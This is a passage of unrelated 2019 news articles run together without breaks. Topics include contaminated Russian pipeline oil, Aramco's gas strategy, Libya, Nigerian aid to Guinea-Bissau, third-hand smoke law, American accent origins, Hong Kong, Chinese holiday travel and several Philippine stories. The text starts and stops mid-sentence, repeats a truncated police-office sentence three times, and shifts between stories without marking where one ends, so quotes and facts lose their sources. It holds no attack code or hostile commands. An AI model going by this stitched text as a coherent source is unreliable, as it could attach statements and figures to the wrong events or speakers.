used in oil production to boost output but dangerous in high amounts for refining equipment. The amounts of the chemical were found to be at levels much higher than the maximum allowable amount. A TASS report from yesterday quoted Russian Deputy Prime Minister Dmitry Kozak as saying that Belarus would be provided with clean oil on Monday, adding that A considerable portion of poor quality oil has already been evacuated to tanks in the territory of Russia. The official also said, "The issue of compensation has not been raised so far. The issue was put forward regarding the need to increase indicative balances for oil product supplies to the domestic market. Discussion is in progress." Though a rare occurrence, oil contamination could have longer-lasting effects on European refineries as not all of them have enough oil in storage to keep operating as usual. Germanys refining industry is fine for the time being with ample supplies, but Polish refiners could face some challenges in finding alternative crude oil supplies. The Druzhba pipeline that runs from Russia to Germany with branches into countries along the way has the capacity to transport up to 1 million barrels of crude daily. Yet the contamination has also been found in tanker cargoes loaded at the Ust Luga port. According to Reuters trading sources, at least five vessels belonging to Rosneft, Surgutneftegaz, and Kazakh companies have set sail from the terminal with contaminated cargo. The buyers of the cargoes include Total, Trafigura, Vitol, and Equinor. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Saudi Arabias oil giant Aramco, which has an ambitious plan to grow its natural gas business, is in talks with many partners for a potential joint venture or partnership, in order to grow its international gas position, Saudi Aramcos chief executive Amin Nasser said on Thursday. For the time being we are looking at potential JV or partnership, Reuters quoted Nasser as saying in Riyadh today. Aramco has already sold its first liquefied natural gas (LNG) cargo from Singapore, the firms chief executive added. In January this year, Nasser told Reuters in an interview that the oil firm was looking to spend billions of U.S. dollars on natural gas acquisitions in the United States as part of Aramcos strategy to bolster its gas business and become a global natural gas player. At the end of February, Nasser said that Saudi Arabia aims to export as much as 3 billion cubic feet of gas per day by 2030 as part of its goal to boost the international footprint of its natural gas business. Aramco will solely develop Saudi Arabias conventional and unconventional gas reserves, and the options for exports include exports via pipelines and LNG, according to Aramcos top manager. In November 2018, Nasser said that Aramco, already a top global oil producer but not as strong in gas production, will boost efforts to grow its natural gas output, from both conventional and unconventional reserves. Saudi Aramcos gas development program is expected to attract as much as US$150 billion in investments over the next decade, Nasser said. Natural gas production is expected to jump to 23 billion standard cubic feet a day from the current 14 billion cubic feet a day, Aramcos top executive said in Dubai a few months ago. We also have world-class unconventional gas resources that are rapidly supplementing our large conventional resources. Because a significant proportion of this unconventional gas is rich in both liquids and ethane, its production will play an important role in the further growth of the Kingdoms chemicals sector, Nasser said. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Russian Foreign Minister Thursday told an international gathering that only a political statement would end the military crisis that has engulfed Libya early this month after eastern military commander Khalifa Haftar launched an offensive to take Tripoli. We need to put an end to the ongoing internal conflict in Libya, Sergei Lavrov said in his speech before Moscow conference on international security. Several parties are taking advantage of the continuing domestic conflict in the country to implement their agendas, he added. Libya has descended into further open-ended crisis with Haftar sabotaging UN efforts to reconcile Libyan rival groups with his offensive on Tripoli launched on April 4. The eastern military commander said the advance seeks to free the Libyan capital from terror groups he links to Muslim Brotherhood. Analysts explained this comment as a seemingly change in Russias support for Haftar. Moscow is a longstanding backer of the renegade general who had traveled several times to Russia. President of Guinea Bissau, Jose Mario Vaz and President Muhammadu Buhari during the foreign presidents visit to Nigeria last November. File photo President Muhammadu Buhari has donated half a million dollars, 350 units of electoral kits, 10 motorcycles, five Hilux vans, and two light trucks to the Government of Guinea-Bissau. According to a series of tweets on the verified Twitter handle of Presidency Nigeria @NGRPresident, Buhari made the donations in response to an urgent request for assistance by the Government of Guinea-Bissau towards the countrys election. The President graciously approved support to the countrys election process, including 350 units of electoral kits, 10 motorcycles, 5 Hilux vans, two light trucks and US$500,000, the tweet reads. Presidency added that Buhari made the donations In his capacity as Chairman, ECOWAS Authority of Heads of State, and had, on Friday morning, directed Minister of Foreign Affairs, Geoffrey Onyeama, to undertake an urgent mission as his Special Envoy to Guinea-Bissau, in the company of ECOWAS Commission President, Jean-Claude Brou. This vital assistance ensured that legislative elections held in Guinea Bissau, which should help in stabilizing the country, Presidency added. It may be recalled that President Mario Vaz visited his Nigerian counterpart last November,and had told State House Correspondents that he was in Nigeria to seek advice from President Buhari concerning the postponement of elections earlier scheduled to hold in his country. He confessed that he was encouraged by the counselling he received from President Buhari. Legislative elections were subsequently held in Guinea-Bissau on March 10, 2019, though they had originally been scheduled for November 18, 2018 following an ECOWAS brokered agreement between President Jose Mario Vaz and the opposition in April 2018. However, electoral census was not completed until November 20, and Prime Minister Aristides Gomes subsequently proposed various dates of December 16, 30 or January 27 2019 as possible alternatives. The election date was settled following a presidential decree issued in December 2018, reports say. The ruling African Party for the Independence of Guinea and Cape Verde won 47 of the 102 seats and remained the largest party. Although its loss of 10 seats resulted in a hung parliament, pre-election agreements with the Assembly of the People United (five seats), the New Democracy Party (one seat) and the Union for Change (one seat) gave the PAIGC-led coalition a six-seat majority in the National Peoples Assembly. Meanwhile, in a separate development, Foreign Affairs Minister Geoffrey Onyeama will also undertake a mission to Cotonou, Benin Republic, to deliver a personal message to President Patrice Talon from President Buhari, Presidency further said. The visit is in the context of the brewing political crisis ahead of April 28, 2019, legislative elections in the country, it explained. From Greg Swank, 12-4-2 You are about to read a list of 45 goals that found their way down the halls of our great Capitol back in 1963. As... " " If a baby is at risk for nicotine toxins left in carpets, does that mean her parents could sue their landlord for not telling them a smoker used to live in their apartment? Rune Johansen/Getty Images Call it the smoker's smell. It's that whiff of ashtray that's permanently marinated into a smoker's couch cushions, car upholstery, clothing and hair. As if smokers didn't have enough reasons to quit (or get enough grief for not quitting), the smell itself may be hazardous to their health as well as their loved ones. The term "third-hand smoke" was coined in 2009 by a Boston pediatrician to describe the toxic tobacco residue that remains on surfaces and embedded in household fibers (like carpets, sofas, even clothes) long after the cigarette or cigar smoke has cleared. A small, but growing body of research has linked this nicotine residue to carcinogenic compounds, particularly harmful to crawling babies and young kids, who spend a lot of time at home. One study even showed that "nicotine dust" persisted in a home at least six months after the smoker quit. Advertisement Third-hand smoke is being positioned as the next big cancer threat after second-hand smoke. When the dangers of secondhand smoke were first made public in the mid-1980s, the revelations gave rise to a host of new state and local laws about smoking in public places like restaurants and workplaces and sparked a whole new kind of lawsuit. In 1993, a prisoner in Nevada sued the state for violating his Eighth Amendment protection against "cruel and unusual punishments" due to excessive exposure to secondhand smoke from his fellow inmates. The Supreme Court agreed. In a class action suit from 1997, hundreds of non-smoking flight attendants sued the tobacco industry for decades of inflight exposure to secondhand smoke. Their $300 million settlement was used to found a non-profit medical institute to research the health effects of secondhand smoke, The question is whether third-hand smoke will extend the legal liability of tobacco even further. Could a tenant with young children sue a landlord for not disclosing that a previous occupant was a smoker, claiming damages from third-hand smoke? Will we see smoke-free workplaces like schools and hospitals extending their policies to the clothing and hair of teachers and nurses? "I can see it, but maybe we're not there yet," says Chris Banthin, senior staff attorney with the Public Health Advocacy Institute at Northeastern University, a group that uses the courts, among other methods, to push for more smoke-free environments. "There's so much science around the danger of secondhand smoke," Banthin says. "When these cases are brought, whether it's housing or workplace, that's sort of the initial natural focus. Third-hand smoke could be added on, but it's always going to be the little brother of the secondhand smoke lawsuit." There are, however, a few situations like the landlord-tenant example above where third-hand smoke might be able to stand on its own legal footing, once the science connecting third-hand smoke and disease is stronger. Banthin's colleague Mark Gottlieb, director of the Public Health Advocacy Institute, can imagine a day when landlords and homeowners are required to disclose the presence of nicotine and other third-hand tobacco residues in homes, just like existing state laws about disclosing lead paint and formaldehyde. "But it's unclear whether third-hand smoke will ever reach anywhere close to the types of health harms caused by those other substances that require disclosure," says Gottlieb. Even if third-hand smoke doesn't prove as harmful as secondhand smoke or lead exposure, Gottlieb says that it could still form the basis of a fraud case. "If a landlord is deliberately deceiving a tenant, saying that smokers never lived in the unit, and denies the presence of third-hand smoke, that would be a situation that might be actionable," Gottlieb says. "That would be consumer fraud under Massachusetts law." The science of third-hand smoke is still young, and lawyers like Gottlieb, who have closely tracked the history of tobacco litigation, say that it will require a landmark report like C. Everett Koop's 1986 surgeon general's report or the U.S. Environmental Protection Agency's 1990 report linking secondhand smoke to lung cancer to raise public awareness about its true dangers. Already, the Thirdhand Smoke Research Consortium notes on its website that its research helped to pass a 2014 bill in California prohibiting the smoking of tobacco at all times in private residences licensed as family child care homes, rather than just when children are present. It remains to be seen whether more laws relating to this subject get enacted. As of now, neither Banthin or Gottlieb know of any lawsuits involving third-hand smoke. We emailed James Repace, author of the landmark EPA study and a top expert witness in secondhand smoke cases. He says that he's also never been called in to testify on a case where third-hand smoke is at issue. Now That's Cool Researchers are hard at work trying to collect firm data on the health risks of third-hand smoke. Check out the Third-hand Smoke Research Consortium for ongoing studies and discoveries. " " Many regional American accents have surprising origins. Thomas Barwick/Getty Images What does Boston have against the letter "R"? Why do Minnesotans sometimes drag out the "O" sound? And where on earth did the Texas twang come from? Warm up your vocal chords because today we're diving into the history of America's best-known accents. Advertisement 1. The Boston Accent Tourists love to ask if they can "park the car in Harvard Yard" or rather, "pahk the cah in Hahvahd Yahd." This question illustrates the stereotypical Boston accent, whose origins date back to the 17th century. Beantown's famous dialect is a melting pot, bearing the influence of Quakers, Puritans and Algonquin Indians alike. By far, the Boston accent's best-known quirk is a tendency to drop the "R" sound. This is exchanged for an "ah," turning beer into beeah. Until recently, historians attributed the custom to good old Anglophilia. Supposedly, Massachusetts colonists were trying to emulate the high-brow norms of England's elite, who always made a point to ditch their R's. However, this explanation might have it backward. The dropped "R" habit first showed up in southeastern England, where it wasn't originally seen as prestigious. In 2012, linguist Richard Bailey used phonetically written records to show that the trend later became popular in pre-Revolutionary Boston. And yet, according to his research, Britain's well-off wouldn't embrace the practice until the mid-1800s. So, in other words, it's possible that English socialites were copying Beantown and not vice-versa. Oh, and for what it's worth, Harvard Yard has very strict parking policies, so you might want to leave your vehicle elsewhere. Just saying. Advertisement 2. The Noo Yawk City Accent As was the case in Boston, the first English-speakers to arrive in this region came from the south of England. At some point in the 18th century, New Yorkers too started dropping their "R's" even the ones originally from the north of England picked up the habit. This explains why Hyde Park's own Franklin Delano Roosevelt said feah instead of fear during the biggest address of his life: The missing "R" phenomenon began to die down after World War II, but other norms still persist. Say LawnGuyland instead of Long Island and you'll be pegged for an area native. Some believe this little eccentricity could be the product of Yiddish or Italian influence. However, other linguists aren't convinced. Most experts agree that the New York accent's basic characteristics are British in origin. What's debatable is the exact degree to which any non-English language affected any specific word pronunciations or sentence structures. As such, we may never know where cawfee and toity-toid street came from. Advertisement 3. The Upper Midwestern Drawl The 1996 movie "Fargo" made this one synonymous with Minnesota. That said, its variants can also be heard in places like Wisconsin, the Dakotas and Michigan's upper peninsula. Here, local dialects carry the sonorous ring of far-away lands. During the late 19th and early 20th centuries, America saw a sharp influx in immigrants from Germany and Scandinavia. Most of these travelers had an agricultural background, so it's no wonder that a huge percentage made their way to the upper Midwest with its plentiful farmland. Nowadays, the region's English-speakers reflect this history. Consider the phrase "Do you want to come with?" which originated in Minnesota. According to linguist John M. Spat, the idiom owes its odd phrasing to the grammatical norms of languages like Norwegian and German. Those sources also influenced vowel pronunciation. In parts of Minnesota and surrounding states, the "ohh" sound is famously replaced with elongated "owe" in certain words. Hence, Dakota turns into Dak-owe-tah. This is generally thought to be a holdover from German and the Scandinavian languages. Advertisement 4. The Texas Twang The story of the Lone Star State's world-famous accent began in 1820. That year, Spain opened the under-populated Texas province to foreign settlers. Lured by cheap land, immigrants from the U.S. poured in and thousands more would arrive after Mexico broke away from Spain a year later. Of course, the newcomers brought their accents along. Those from Louisiana, Mississippi and Alabama generally spoke in what's known as the "Lower-South Dialect" of American English. Meanwhile, Kentuckian and Tennessean expatriates boasted the so-called "South Midland Dialect." Down in Texas, speakers of both patois lived alongside other immigrants from North-Central Europe, as well as Spanish-speaking locals. With the passage of time, these disparate influences gave rise to a brand-new accent that was uniquely Texan. One key indicator is the vowel merging in words like "far" and "fire," which both sound like fahr. Advertisement 5. The New Orleans Accent NOLA English is a regional oddity. Although it maintains some Southern speech patterns, R's get dropped and instead of "they" or "them," established families are liable to say "dey" or "dem" in Brooklyn-esque fashion. How'd that come to pass? Well, being a major port city, New Orleans often played host to northern merchants, along with other visitors from across the Deep South and Midwest. Furthermore, during the Gilded Age, Germans, Italians and the Irish turned up en masse in the Big Easy. Thousands of miles away, these same groups were getting a foothold in New York. So, it's no wonder that the Crescent City's accent can sound Yankee-like. Of course, it's hardly a duplicate. Following the Seven Years' War, French-Canadians staged a mass exodus to Louisiana. Accompanying them was a unique new version of the French language, which left a tremendous mark on the local lingo. NOW THAT'S COOL Way, way up north, you can hear traces of the Minnesotan accent in an unexpected place: Sarah Palin's hometown of Wasilla, Alaska. In the Great Depression, hundreds of Midwesterners including several Minnesotans were relocated there through a government program. The average resident now speaks in a more generalized American dialect, but protracted "oohs" and other verbal throwbacks to the Gopher State are still used. "You betcha!" Advertisement Originally Published: Sep 29, 2017 Beijing is not tightening grip on Hong Kong but has had to spell out jurisdiction because of constant separatist noises, former official Xu Ze says Beijing is not tightening its grip on Hong Kong but needs to say out loud it has overall jurisdiction because of the constant noise from those who want to separate the city from China, a former senior official says. Xu Ze, former deputy director of the Hong Kong and Macau Affairs Office under the State Council, spoke at a forum on Friday just hours after the United States said it was disappointed by the convictions of nine leaders of the 2014 Occupy protests and warned that continued erosion of the one country, two systems governing formula would risk the citys special international status. The US Department of State, in a statement released on Friday morning, also said it was closely monitoring a proposed amendment to the citys fugitive law that would allow for the extradition of suspects to both mainland China and Taiwan on a case-by-case basis. Xu, speaking at a forum on the implementation and achievements of one country, two systems, said Beijing was not trying to strip away any power from Hong Kong when it emphasised Chinas constitution applied to the city. Some people said it was Beijing attempting to resume Hong Kongs power. This is not true because we settled everything years ago, Xu, president of semi-official think tank The Chinese Association of Hong Kong and Macau Studies, told the forum at the convention centre in Wan Chai. He said the Basic Law Consultative Committee had reached a consensus that Chinas constitution should be fully applicable in Hong Kong. The opinion was submitted to and later approved by the Basic Law Drafting Committee. In light of the 1984 Sino-British Joint Declaration, which laid the groundwork for Hong Kongs handover in 1997, Beijing formed the two committees in 1985 and spent 56 months on drafting the Basic Law. The Basic Law maintains that it and the special administrative region were established in accordance with the constitution, but it does not provide that the constitution is directly applicable in the city. Story continues It also stipulates that national laws in China should not be applied in Hong Kong unless they are introduced into Annex III of the Basic Law. This problem has long been cleared, Xu insisted. But after the handover, some noises constantly emerged in Hong Kong, which essentially advocated the citys separation from China and the Basic Laws separation from the constitution. Beijing was simply laying out the logic of the Basic Law, Xu added. All the power [the central government] needs to authorise has been authorised, and there is no power that [Beijing] wants to resume, he said. No one wants to be overtly assertive. But some people just couldnt get it no matter how many times we explained Xu Ze, ex-deputy director of Hong Kong and Macau Affairs Office No one wants to be overtly assertive. But some people just couldnt get it no matter how many times we explained. So eventually we had to say it out loud. At the same forum, former Hong Kong leader Leung Chun-ying said the success of one country, two system should be judged by how well the Basic Law had been implemented, instead of subjective criteria and personal interpretations. Maria Tam Wai-chu, a member of the Basic Law Committee under Chinas top lawmaking body, said she deliberately blocked the introduction of direct elections for the Legislative Council in 1988 to protect Hong Kong from being shocked by fully fledged democracy. Japan keen on Greater Bay Area but says one country, two systems vital I knew the British were trying to return power to the people and Hong Kong might have to see rotations of ruling parties if they succeeded. I hoped by blocking the direct election in 1988, we would win time to build national identity, she said. Tam also said Hong Kong had to defend Chinas interests. People on the mainland worked hard over the past decades to allow Hong Kong to enjoy its economic status. So we must defend the national interests, Tam said. More from South China Morning Post: This article Beijing is not tightening grip on Hong Kong but has had to spell out jurisdiction because of constant separatist noises, former official Xu Ze says first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2019. China on the move: 160 million expected to make domestic trips over longer Labour Day break Tourist attractions across China are set to welcome about 160 million visitors next week as people take advantage of the new, extended Labour Day holiday. The government announced last month that the traditional May 1 break would be increased to four days this year, giving people plenty of time to explore the nations favourite cities and scenic spots. The headline figure came from leading Chinese travel agency Ctrip, while a report by Economic Daily, citing research by China Tourism Research Institute, put the number at 150 million. Despite this years longer break, which runs from Wednesday to Saturday, the larger of the two estimates represents only an 8.8 per cent increase on the 147 million people who booked trips for May 1 last year. That in turn was a 9.3 per cent rise from the same period of 2017. Meanwhile, the number of people taking overseas breaks over the holiday is expected to grow by 8 per cent from last year, the newspaper said, citing data from various travel agencies. It did not give an absolute figure. According to online booking platform Lu Mama Tourism, Shanghai, Beijing, Zhuhai and Nanjing are some of the most popular Chinese cities for visitors, while Shanghai Disneyland and Chimelong International Ocean Tourist Resort in Zhuhai, Guangdong province, are among the favourite attractions. The Economic Daily report said that 58 per cent of the travel bookings made on the Lu Mama platform for the Labour Day holiday were for between one and three days. Among the most popular overseas destinations were Thailand, Japan, Singapore, Vietnam, Indonesia, the United Arab Emirates, Turkey, Russia and the United States, it said. Chinese citizens do not need a visa to enter Indonesia, while Thailand requires only a visa on arrival. Hong Kong is also a popular choice for holidaymakers from the Chinese mainland, with access to the city made easier by the new high-speed rail network and the Hong Kong-Macau-Zhuhai super bridge. Story continues All mainland motorway toll fees for small passenger cars would be waived during the holiday period, which was expected to see 6.2 million car journeys, Beijing Youth Daily reported. This article China on the move: 160 million expected to make domestic trips over longer Labour Day break first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2019. THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their CHINA has assured President Rodrigo Duterte that Beijing would provide a grant of 1 billion yuan (approximately $148 million) to his administration to help boost the Philippine economy, Malacanang said on Thursday, April 25. The commitment was made during Duterte's bilateral meeting with Chinese President Xi Jinping held in Beijing on Thursday, Presidential Spokesperson Salvador Panelo said. "President Xi committed to provide One Billion Yuan grant to the Philippines," Panelo said in a statement issued on Thursday night. Panelo said Duterte and Xi also discussed ways to spur the Philippine economy through Belt and Road Initiative (BRI), China's most ambitious infrastructure development and investment initiatives designed to connect Asia, Africa, and Europe. He said Xi vowed to pour more infrastructure investment into Luzon and Mindanao. "The Palace hopes to highlight the discussion between President Rodrigo Roa Duterte and Chinese President Xi Jinping on the framework of the Belt and Road Initiative (BRIL and how this will further help in the economic development of the Philippines," he said. "President Xi manifested that China will provide more resources to Luzon and Mindanao to spur regional economic growth, as well as promote Clark Green City through the building of an industrial park," he added. Panelo, quoting Xi, said the BRI would also have an important role in the relations between China and the Association of Southeast Asian Nations (Asean), where the Philippines plays an effective role as a country coordinator. Xi also emphasized that the BRI would increase cooperation in the Brunei Darussalam-Indonesia-Malaysia-Philippines East Asean Growth Area or BIMP-EAGA, Panelo added. "We consider the BRI, as articulated by [Duterte], as another opportunity to renew and reaffirm our valued relationship, which we must continue to foster in the coming years with an aspiration that our fellow Filipinos will feel the true benefits of the PH-China relations," the Palace official said. Panelo said the Chinese leader likewise mentioned that the first group of Filipino teachers may soon start teaching English in China. He said Xi also pledged to continue donating rice and fingerlings to, as well as importing fruits from, the Philippines. (SunStar Philippines) (L-R) President Rodrigo Duterte and Chinese President Xi Jinping China has pledged to provide a grant of one billion yuan or approximately $148 million to help boost the Philippine economy, Malacanang said on Thursday (April 25). Presidential Spokesperson Salvador Panelo said Beijing made the commitment to Manila during the bilateral meeting between Philippine President Rodrigo Duterte and Chinese President Xi Jinping on the sidelines of the second Belt and Road Forum. READ: PH to explore new areas of cooperation, partnership with China President Xi committed to provide one billion yuan grant to the Philippines, Panelo said in a statement issued on Thursday night. Panelo added that Xi also committed to pouring more investments into Luzon and Mindanao to spur regional economic growth as well as promote Clark Green City through the building of an industrial park. The Palace hopes to highlight the discussion between President Rodrigo Roa Duterte and Chinese President Xi Jinping on the framework of the Belt and Road Initiative (BRI) and how this will further help in the economic development of the Philippines, he said. President Xi manifested that China will provide more resources to Luzon and Mindanao to spur regional economic growth, as well as promote Clark Green City through the building of an industrial park, he added. Panelo also quoted Xi as saying that the BRI would have an important role in the relations between China and the Association of Southeast Asian Nations (ASEAN), where Philippines plays an effective role as a country coordinator. He also stressed BRIs role in increasing cooperation in the Brunei Darussalam-Indonesia-Malaysia-Philippines East ASEAN Growth Area or BIMP-EAGA. We consider the BRI, as articulated by PRRD (President Rodrigo Roa Duterte), as another opportunity to renew and reaffirm our valued relationship, which we must continue to foster in the coming years with an aspiration that our fellow Filipinos will feel the true benefits of the PH-China relations, he added. Story continues Apart from Chinas commitment in relation to the BRI, Panelo said Xi also mentioned that the first group of Filipino teachers may soon start teaching English in China. Xi also committed to continuing donating rice and fingerlings and importing our local fruits, Panelo added. Robie de Guzman The post China pledges $148-M grant, other economic measures to PH appeared first on UNTV News. THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their PRESIDENT Rodrigo Duterte has created an organizing panel for the Expo 2020 Dubai, seen as an opportunity for the Philippines to promote itself as an investment and tourist destination. Duterte signed Administrative Order (AO) 17 on April 24, constituting the Philippine Organizing Committee (POC) for the country's participation in the Expo 2020 Dubai which will be chaired by the Trade Secretary and vice chaired by the Tourism Secretary. Members include the secretaries of Foreign Affairs; Budget; Labor; Science and Technology; and Information and Communications Technology departments. "The participation of the Philippines in the Expo 2020 Dubai provides and excellent opportunity to further enhance the country's presence in global scale, and promote the country's commercial and public interests in the Middle East Africa, and Southeast Asia region," AO 17 read. "There is a need to facilitate the preparation and participation of the Philippines in the Expo 2020 Dubai through an inter-agency collaboration and coordination," it added. The Philippines has committed to participate in the Expo 2020 Dubai, which will be held in Jebel Ali in Dubai between October 20, 2020 and April 10, 2021. The world expo, considered the largest event in Arab countries, is an opportunity for the Philippines to "promote the heritage, talent and ingenuity of Filipino people before the world audience as well as showcase the country's vibrant economy, tourist destinations and emerging technological innovations." Expo 2020 Dubai, with the theme "Connecting Minds, Creating the Future," offers a platform to foster creativity, innovation and global cooperation, which will contribute to the Philippines's goal of advancing science, technology and innovation for long-term growth. Under AO 17, the POC is mandated to formulate and implement a work plan containing appropriate theme, concept and message which will promote the country as an ideal destination for trade, tourism and investments. Story continues The PCO should also act as coordinating body between private sector and government entities to ensure implementation of the work plan, as well as maximize tbe benefits of the country's participation through a "concerted and cost-effective national approach." The panel is also tasked to employ and utilize sustainable architectural design; ensure the safety and protection of goovernment properties; and accept sponsorship and gratuitous title of funds, material and devices essential for the country's participation in the Expo 2020 Dubai. The order also directs the POC to enter into agreements necessary for the country's participation in the Expo 2020 Dubai, as well as to undertake marketing and promotional activities, presentations, and meetings necessary for the Philippines's successful participation in the event. The funding requirements of the POC for fiscal year 2019 would be sourced from the Contingent Fund, subject to the President's approval and upon the recommendation of the Budget department. The Palace released a copy of AO 17 on Friday, April 26. (SunStar Philippines) (L-R) President Rodrigo Duterte, Pag-asa Island and Chinese President Xi Jinping President Rodrigo Duterte and Chinese President Xi Jinping have agreed that the dispute over the resource-rich West Philippine Sea (South China Sea) could be managed through bilateral consultations, Malacanang said on Thursday (April 25). Presidential Spokesperson Salvador Panelo said Duterte raised the issue on the maritime dispute during his bilateral talks with Xi in Beijing. In the course of the bilateral meeting, President Rodrigo Roa Duterte raised the issue of the West Philippine Sea, particularly the situation in Pag-Asa Island, Panelo said in a statement issued on Thursday night. Both agree that the situation can be managed by the mechanism of bilateral negotiations but it should not affect the cooperation being undertaken by both the Philippines and China and they look forward to a productive discussion on matters of mutual concern and interests, he added. Panelo, who joined Duterte in China for the second Belt and Road Forum, also said that Xi stressed the importance of good neighborliness and proper handling of differences between the countries. While the Chinese leader acknowledged the inevitable of having challenges to the bilateral relations, he placed importance on the mutual trust that exists between the two nations in order to resolve the same, he added. The Palace official added that Xi even cited the memorandum of understanding on oil and gas signed by the Philippines and China, which suspended their differences for a joint exploration that would mutually benefit both countries and their peoples. Duterte, for his part, assured Beijing that Manila will remain its ally in Southeast Asia. The Chief Executive culminated the talk with the Chinese President articulating his position that the Philippines remains Chinas ally in Southeast Asia. The former emphasized that both countries are allies, and allies strengthenand do not destroy each other, Panelo said. The meeting between Duterte and Xi comes on the heels of the reported harvesting of giant clams in Panatag shoal and the presence of hundreds of Chinese vessels near the Pag-asa (Thitu) Island, long-held by the Philippines. Story continues READ: Duterte tells China: Back off from Pag-asa island China has continued to assert its expansive claims over the contested territories even after the Philippines lodged and won its case at the Hague-based arbitral tribunal in 2016. Robie de Guzman The post Duterte, Xi agree to resolve sea dispute through bilateral talks appeared first on UNTV News. The African Development Bank has signed a $50 million risk participation agreement, APR, with investment and corporate bank Natixis. The 50/50 risk-sharing agreement covers a portfolio of commercial transactions totaling $100 million, which will support commercial operations worth $600 million in Africa over the next three years, said the African financial institution in a press release Thursday. This historic agreement allows us not only to better support our clients in Africa, but also to further strengthen the strategic relationship that we have the privilege of developing with the African Development Bank, said Marc Jaskowiak, Senior Banker representing Natixis, who signed the agreement. The RPA will meet the growing demand of African markets for trade finance in key economic sectors such as agribusiness, health, services and industry. In addition, it will promote the diversification of the economy, generating growth, jobs and additional tax revenues for several African states. The agreement will notably benefit African commercial banks as well as SMEs on the continent, by guaranteeing them better access to financing for their foreign trade operations. Todays signing is important as it responds to our desire to develop financial partnerships with strong non-regional banks, to boost trade finance in Africa and further support intra-African trade, as outlined in our Trade Finance Program endorsed in 2018, said AfDB Director of Financial Sector Development, Stefan Nalletamby. This agreement will allow us to extend our support to African SMEs, but also to local banks in French-speaking countries and some transition states. Quake-proof desks called Life-Saving Automated Mesa (LAMESA) | Courtesy: DOST Filipino experts have developed quake-proof desks for kindergarten students. It also serves as an earthquake warning system. According to the released statement of the Department of Science and Technology (DOST), a group of researchers from the Philippine Normal University (PNU), De La Salle University, and Technological University of the Philippines, developed a high impact-proof automated study desk for preschool children. They called it LAMESA or Life-Saving Automated Mesa to Endure Seismic Activity. LAMESA combines technology with capacity building in terms of knowledge and infrastructure to best address such probable disaster, particularly in educational institutions, their statement reads. The LAMESA desk measures 1.22 m in length, 0.69 m in width and 3.327 cm in tabletop thickness. Its height is 0.57 m so that preschoolers can easily hide under the desk. Its table top is also made of steel and is coated with epoxy paint for durability. There is also a storage bin with a sliding door for keeping lighting devices, food and water supplies for up to nine kindergarteners. LAMESA is equipped with an accelerometer, a device that senses motion, which feeds seismic measurements to a Wi-Fi-enabled microcontroller. This microcontroller then simultaneously triggers the actuator which causes the table top to fold 16 degrees upward, the statement further reads. PNUs Dr. Marie Paz E. Morales, research team leader, said [On] average, a strong earthquake that may cause debris lasts about 30 to 40 seconds. This means that LAMESAs four-second response time provides ample time to shield children from debris during an earthquake. The researchers are continuing to make improvements to enhance LAMESAs prototype design. We are [also] contemplating on using fiberglass instead. We also thought of using a wall sensor to manage a set of desks, Dr. Morales adds.Aileen Cerrudo The post Filipino experts develop quake-proof desks for kindergarten students appeared first on UNTV News. THE National Capital Region Police Office (NCRPO) has removed over 650,000 campaign materials all over Metro Manila.NCRPO Director Major General Guillermo Eleazar urged the candidates to also do their FOUR candidates from Cebu may be disqualified in perpetuity for failing to submit their statement of contributions and expenditures (Soce) in the past elections. They are Edgar Pangandoyon, who is running for a seat in the Argao Municipal Council under the Nationalist Peoples Coalition (NPC); Manuel Sanchez, who is seeking a seat in the Naga City Council under Pederalismo ng Dugong Dakilang Samahan-Democratic Party of the Philippines; Jose Dodjie Abines, a candidate for councilor in Oslob under NPC; and Antonio Vargas, an independent candidate for councilor in Talisay City. However, Acting Cebu Provincial Election Supervisor Jerome Brillantes said the four candidates have a chance to answer the allegation in a hearing, adding that the Commission on Elections (Comelec) central office has yet to disqualify them. According to Comelec, Pangandoyon failed to submit his Soce in 2010 and 2013; Sanchez, in 2007 and 2010; Abines, in 2007 and 2010; and Vargas, also in 2007 and 2010. Section 14 of Republic Act 7166, also known as the Synchronized National and Local Elections and for Electoral Reforms, mandates all candidates (winners and losers) and treasurers of political parties to submit their Soce within 30 days after the elections. A winner is barred from performing his duty if he fails to submit it. If he violates the provision for the second time, the candidate is banned from government service for all time. Brillantes said the poll office still accepted the certificates of candidacy (COCs) of the four candidates even if they are subject to disqualification, as this is only a ministerial duty of the Comelec. Our office doesnt have any jurisdiction or discretion to turn down these people once they submit their COCs. As long as their COCs have no errors or defects, we dont have any decision except to accept it. We cant say that we cant accept their COCs because they have a pending disqualification case, he said in Cebuano. He said a political party can file a disqualification case against an erring candidate 15 days after the filing of COCs. If the candidate wins the election, the complainant can file an election protest 10 days after the proclamation. (From SCG of SuperBalita Cebu, KAL) File photo: Philippine Eagle (Pithecophaga jefferyi) | Courtesy: Harrybalais from Creative Commons MANILA, Philippines The Department of Environment and Natural Resources (DENR) will be sending a pair of Philippine Eagle (Pithecophaga jefferyi) to Singapore in a move to save the species from extinction. Well do that to preserve the Philippine Eagle which is very near extinction already, Environment Secretary Roy Cimatu said on Wednesday (April 24) during DENRs 2019 celebration of the annual Earth Day. Cimatu said the loan agreement will protect the species from possible outbreak of disease in the future which could wipe out or significantly affect their population. The International Union for Conservation of Nature (IUCN) included the Philippine Eagle in its endangered list of wildlife as there are some 180 to 500 mature eagles remaining in the country. The Philippine Eagles decreasing population, according to the IUCN, is attributed to habitat destruction, diseases, hunting and climate change. Considered the largest eagle species in the world, the Philippine Eagle as a top predator is responsible for regulating population of smaller animals such rodents, bats, and snakes that may pose danger to humans and crops . International Union for Conservation of Nature (IUCN) already warned about the Philippine Eagles decreasing population. DENR Undersecretary Jonas Leones said Singapore has wildlife experts who can look after the eagles. The loaning of the Philippine Eagle is in line with the 2019 Earth Day theme Protect our species. Marje Pelayo The post Philippine Eagle pair to fly to Singapore for conservation appeared first on UNTV News. Murder suspect Renato Llenes admitted to killing and skinning 16-year-old Christine Silawan. QUEZON CITY, Philippines The Philippine National Police (PNP) is confident of having a strong case against Renato Llenes as the one who brutally murdered 16-year-old Christine Silawan. Silawan was killed on March 10 in Barangay Bankal, Lapu-Lapu City, with her face skinned and undergarment missing. According to PNP Chief Police General Oscar Albayalde, the pieces of evidence that they have point to Llenes as Silawans killer. Based on the 